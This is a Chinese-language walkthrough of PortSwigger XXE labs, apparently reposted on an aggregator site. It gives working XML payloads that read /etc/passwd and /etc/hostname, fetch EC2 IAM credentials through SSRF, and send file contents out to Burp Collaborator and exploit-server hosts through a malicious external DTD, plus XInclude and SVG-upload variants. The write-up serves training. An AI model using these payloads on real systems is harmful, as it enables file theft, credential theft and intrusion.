PortSwigger-02-XXE

一:漏洞原理

1、XXE

  • XXE全称xml外部实体注入

  • XML:是一种用于标记电子文件使其具有结构性的标记语言,提供统一的方法来描述和交换独立于应用程序或者供应商的结构化数据,它可以用来标记数据,定义数据类型、是一种允许用户对自己的标记语言进行定义的元语言

  • DTD:是一种描述XML数据结构的规则,可以包含实体定义,这些实体允许XML数据引入外部资源,如果文档中应用了DTD,解析器会尝试加载和解析DTD文件

  • 参考链接:https://blog.csdn.net/fuhanghang/article/details/123272261

2、XXE原理

XML外部实体注入是一种web安全漏洞,攻击者可以通过引入自定义的实体来强制服务器加载外部资源。它通常允许攻击者查看应用程序服务器文件系统上的文件,并于应用程序本身可以访问的任何后端或者外部数据进行交互。XXE漏洞触发点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可以上传恶意的xml文件读取文件或者获取shell.

3、XXE特征

1、url是 .ashx后缀
2、响应体是xml
3、看请求包中有一个Accept:看看其中有没有xml

二:PortSwigger靶场

靶场复现参考链接:https://blog.csdn.net/qq_53079406/article/details/128642758

1、利用外部实体检索文件

(1)原理:构造恶意的xml数据,引入外部实体,读取服务器的文件
(2)漏洞点
在这里插入图片描述
bp抓包分析:发现提交了xml数据:

  • <?xml version="1.0" encoding="UTF-8"?> 声明这是一个XML文档
  • 表示是根节点
  • 1 子节点:表示产品的标识号
<?xml version="1.0" encoding="UTF-8"?> 
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>

构造payload读取文件

  • 外部实体定义 <!DOCTYPE>表示文档的类型
  • <!ENTITY xxe SYSTEM "file:///etc/passwd"> 定义一个外部的实体
  • xxe是实体的名称、SYSTEM:引入外部的资源 、file:///etc/passwd :表示文件的路径,表示需要读取的文件
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>

2、利用XXE执行SSRF攻击

(1)原理:引入外部实体恶意的xml代码读取远程服务器的敏感数据,使用<!ENTITY>定义外部实体,然后通过SYSTEM指向EC2元数据终端点,&xxe;就是将恶意的实体插入的XML数据的字段中

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>

在这里插入图片描述
成功读取到了敏感数据

3、具有带外交互的盲XXE

(1)原理:利用外带技术,也就是bp的Collaborator可以捕获请求和响应包

(2)和上述的情况有点类型,但是没有回显,需要利用外带技术,也就是bp的Collaborator,参考链接:

https://blog.csdn.net/wang_624/article/details/123172519

和问题2的情况有点类似,直接构造payload(其中http://8hqnvlwfu9tl88940w80p9w1zs5it7.burpcollaborator.net是bp生成的)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY xxe SYSTEM "http://8hqnvlwfu9tl88940w80p9w1zs5it7.burpcollaborator.net">
]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId>
</stockCheck>

成功外带看到相应包
在这里插入图片描述

4、通过 XML 参数实体进行带外交互的盲 XXE

(1)尝试使用例三中的payload进行测试,回显"Entities are not allowed for security reasons",可能是增加了一些过滤限制
(2)使用参数实体进行绕过:

  • 常规实体XML在正文中引用,而参数实体在只能在DTD内部用
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://389f7odkpxhdbcf42849rsqcx33vrk.burpcollaborator.net">%xxe;
]>
<stockCheck><productId>1</productId><storeId>1</storeId>
</stockCheck>

5、利用盲XEE使用外部恶意DTD泄露数据

(1)目标:

  • 泄露服务器上的/etc/hostname文件的内容,使用Burp Collaborator 或实验室提供的漏洞利用服务器接收泄露的数据。
    (2)实现原理
  • 构造一个恶意的DTD文件:他会加载服务器的指定文件并通过外部网络发送到攻击者的服务器中(通过网络请求将数据外带)
  • 然后xxe注入访问我们上传的DTD文件让其执行然后将敏感数据带出到bp的服务器中
    (1)首先还是盲XML,需要利用外带技术
  • <!ENTITY % file SYSTEM "file:///etc/hostname"> :定义一个参数实体file,SYSTEM读取指定文件内容
  • 定义eval参数实体,
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://l5rx46a2mfev8ucmzq1roanuul0eo3.burpcollaborator.net/?x=%file;'>">
%eval;
%exfil;
https://exploit-0a5a0085035d308680ed8eba01a8007d.exploit-server.net/exploit
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0a5a0085035d308680ed8eba01a8007d.exploit-server.net/exploit"> %xxe;]>

成功外带拿到信息

6、利用盲XXE通过错误消息检索数据

原理:将恶意的DTD文件托管到VPS上,然后在xxe注入引入这个文件的链接来执行DTD中的代码
(1)请使用外部 DTD 触发显示文件内容的错误消息。/etc/passwd

DTD文件是一种定义XML文档结构的文件,主要用于执行XML文档的合法元素以及属性、子元素的排列顺序等规则

(2)上传恶意的DTD文件,然后获取恶意的DTD文件的url位置

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

(3)xxe注入外带信息(参数实体)

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://exploit-0ac3001e03dad7988092c570014c00a2.exploit-server.net/exploit"> %xxe;]>

在这里插入图片描述

7、利用XInclude检索文件

  • 相比于前面的实验,我们无法控制整个XML文档,因此无法定义DTD来启动经典的XXE攻击
    在这里插入图片描述
  • 但是可以使用XInclude/etc/passwd语句来注入
    XInclude是一种xml技术,用于在一个XML文档中动态插入其他XML文档或者文本内容。XInclude的工作机制是基于XML解析器的扩展支持,通过xi:include标签、可以引入外部数据并将其内容直接嵌入到XML文档中
<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>

注入测试
在这里插入图片描述

8、通过图像文件上传利用XXE

(1)原理:一些应用程序允许用户上传图像、并在上传之后处理或者验证这些图像。如果支持上传SVG图像但是服务端没有对xml数据进行严格的校验的化,那么攻击者就可以提交恶意的SVG图像,从而达到XXE漏洞的隐藏攻击面
(2)创建 1.svg 其中内容包括如下

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

(3)在博客文章上发表评论,并将此图像作为头像上传,然后访问该图片就可以执行xml代码
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/web/81622.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

常规算法学习

算法 1. 排序算法1. 归并排序1.1 普通归并排序1.2 优化后的归并排序&#xff08;TimSort&#xff09; 2. 插入排序2.1 直接插入排序2.2 二分插入排序2.3 成对插入排序 3. 快速排序3.1 单轴快速排序3.2 双轴快排 4. 计数排序 2. 树1. 红黑树&#xff08;Red Black Tree&#xff…

关于线程死锁的相关知识

前言 今天学习了线程死锁的相关知识。线程死锁是非常重要的知识&#xff0c;写成博客&#xff0c;加深自己对于知识的理解。 线程死锁 结语 希望可以帮助到大家~

EMQX启用单向认证的SSl/TLS连接的配置步骤

先确保您已经安装了 OpenSSL 执行openssl version -a 获取 openssl.cnf 目录 生成自签名服务端证书 CA 证书生成 server-ca.crt openssl req \-new \-newkey rsa:2048 \-days 365 \-nodes \-x509 \-subj "/CCN/OEMQ Technologies Co., Ltd/CNEMQ CA" \-keyout s…

依赖nacos实例动态创建线程池并监听服务上下线

版本 Spring Booot 版本 3.2.4Spring Cloud 版本 2023.0.1Spring Cloud Alibaba 版本 2023.0.1.2 依赖 <dependency><groupId>com.alibaba.cloud</groupId><artifactId>spring-cloud-starter-alibaba-nacos-discovery</artifactId> </depe…

全面指南:使用Node.js和Python连接与操作MongoDB

在现代Web开发中&#xff0c;数据库是存储和管理数据的核心组件。MongoDB作为一款流行的NoSQL数据库&#xff0c;以其灵活的数据模型、高性能和易扩展性广受开发者欢迎。无论是使用Node.js还是Python&#xff0c;MongoDB都提供了强大的官方驱动和第三方库&#xff0c;使得数据库…

LeetCode 3068.最大节点价值之和:脑筋急转弯+动态规划(O(1)空间)

【LetMeFly】3068.最大节点价值之和&#xff1a;脑筋急转弯动态规划&#xff08;O(1)空间&#xff09; 力扣题目链接&#xff1a;https://leetcode.cn/problems/find-the-maximum-sum-of-node-values/ 给你一棵 n 个节点的 无向 树&#xff0c;节点从 0 到 n - 1 编号。树以长…

HTTPS加密通信详解及在Spring Boot中的实现

HTTPS&#xff08;Hyper Text Transfer Protocol Secure&#xff09;是HTTP的安全版本&#xff0c;通过SSL/TLS协议为通讯提供加密、身份验证和数据完整性保护。 一、HTTPS核心原理 1.加密流程概述 客户端发起HTTPS请求&#xff08;连接到服务器443端口&#xff09;服务器返…

解决线程安全问题

前言 昨天学习了如何去解决线程不安全的问题。一般方法都是通过加锁来处理&#xff0c;跟大家分享一波 。 解决线程安全问题 结语 希望可以帮助到大家~ byebye

网络常识:网线和光纤的区别

网络常识&#xff1a;网线和光纤的区别 一. 介绍二. 网线2.1 什么是网线&#xff1f;2.2 网线的主要类别2.3 网线的优势2.4 网线的劣势 三. 光纤3.1 什么是光纤&#xff1f;3.2 光纤的主要类别3.3 光纤的优势3.4 光纤的劣势 四. 网线 vs 光纤&#xff1a;谁更适合你&#xff1f…

win11 禁用/恢复 内置笔记本键盘(保证管用)

文章目录 禁用启用 禁用 1&#xff09;按下 win x&#xff0c;点击 设备管理器 2&#xff09;拔掉所有笔记本外设&#xff08;一定要都拔掉&#xff0c;不然后面禁用设备会混淆&#xff09;&#xff0c;然后右键点击 键盘 > HID Keyboard Device 2&#xff09;点击 更新…

Three.js搭建小米SU7三维汽车实战(5)su7登场

汽车模型加载 我们在sktechfab上下载的汽车是glb的文件格式&#xff0c;所以使用gltfLoader进行加载。这里将小车直接加载进来看看效果&#xff1b; import { GLTFLoader } from "three/addons/loaders/GLTFLoader.js"; ....其余代码省略 const gltfLoader new GLT…

ETL怎么实现多流自定义合并?

随着信息技术的迅猛发展以及数据生成环境的多样化&#xff0c;互联网、物联网和社交媒体的广泛应用导致各种设备和平台不断产生大量数据&#xff0c;需要整合这些数据&#xff0c;从而进行数据融合。数据集成和管理平台ETLCloud&#xff0c;主要用于支持数据的抽取&#xff08;…

数据结构- 10种常见树:二叉树、平衡二叉树、完全二叉树

一、树 树型结构是一类重要的非线性数据结构。其中以树和二叉树最为常用&#xff0c;直观看来&#xff0c;树是以分支关系定义的层次结构。把它叫做“树”是因为它常看起来像一棵倒挂的树&#xff0c;也就是说它常是根朝上&#xff0c;而叶朝下的。 1.树的定义&#xff1a; 树…

Java常用加密方式

一&#xff0c;加密算法分类 对称加密&#xff1a;指加密和解密的密钥相同&#xff0c;优点就是加解密的效率高且易于实现。 非对称加密&#xff1a;指加密和解密的密钥不相同&#xff0c;也称为公私要加密。 不可逆加密&#xff1a;特征就是加密过程不需要密钥&#xff0c;…

SQLite软件架构与实现源代码浅析

概述 SQLite 是一个用 C 语言编写的库&#xff0c;它成功打造出了一款小型、快速、独立、具备高可靠性且功能完备的 SQL 数据库引擎。本文档将为您简要介绍其架构、关键组件及其协同运作模式。 SQLite 显著特点之一是无服务器架构。不同于常规数据库&#xff0c;它并非以单独进…

让 Deepseek GPS测速

下面是一个简单的微信小程序GPS测速功能的实现代码&#xff0c;包括前端页面和后端逻辑。 1. 页面结构 (index.wxml) <view class"container"><view class"speed-display"><text class"speed-value">{{speed}}</text>…

什么是软件的生命周期,以及常见的开发测试模型

目录 一、软件的生命周期 1、什么是生命周期&#xff1f; 2、每个阶段都要做些什么&#xff1f; 二、常见的开发模型 1、瀑布模型 2、螺旋模型 3、增量模型、迭代模型 4、敏捷模型 scrum模型 三个角色 五个会议 一、软件的生命周期 1、什么是生命周期&#xff…

JWT安全:弱签名测试.【实现越权绕过.】

JWT安全&#xff1a;假密钥【签名随便写实现越权绕过.】 JSON Web 令牌 (JWT)是一种在系统之间发送加密签名 JSON 数据的标准化格式。理论上&#xff0c;它们可以包含任何类型的数据&#xff0c;但最常用于在身份验证、会话处理和访问控制机制中发送有关用户的信息(“声明”)。…

数据分析与应用-----使用scikit-learn构建模型

目录 一、使用sklearn转换器处理数据 &#xff08;一&#xff09;、加载datasets模块中的数据集 &#xff08;二&#xff09;、将数据集划分为训练集和测试集 ​编辑 train_test_spli &#xff08;三&#xff09;、使用sklearn转换器进行数据预处理与降维 PCA 二、 构…

【Tomcat】Tomcat端口仅允许本地访问设置方法

要设置Tomcat端口仅允许本地访问&#xff0c;可以通过以下两种主要方式实现&#xff1a; 方法一&#xff1a;修改Tomcat配置文件&#xff08;推荐&#xff09; 修改 server.xml 文件 打开Tomcat的配置文件 conf/server.xml&#xff0c;找到 <Connector> 标签&#xff08;…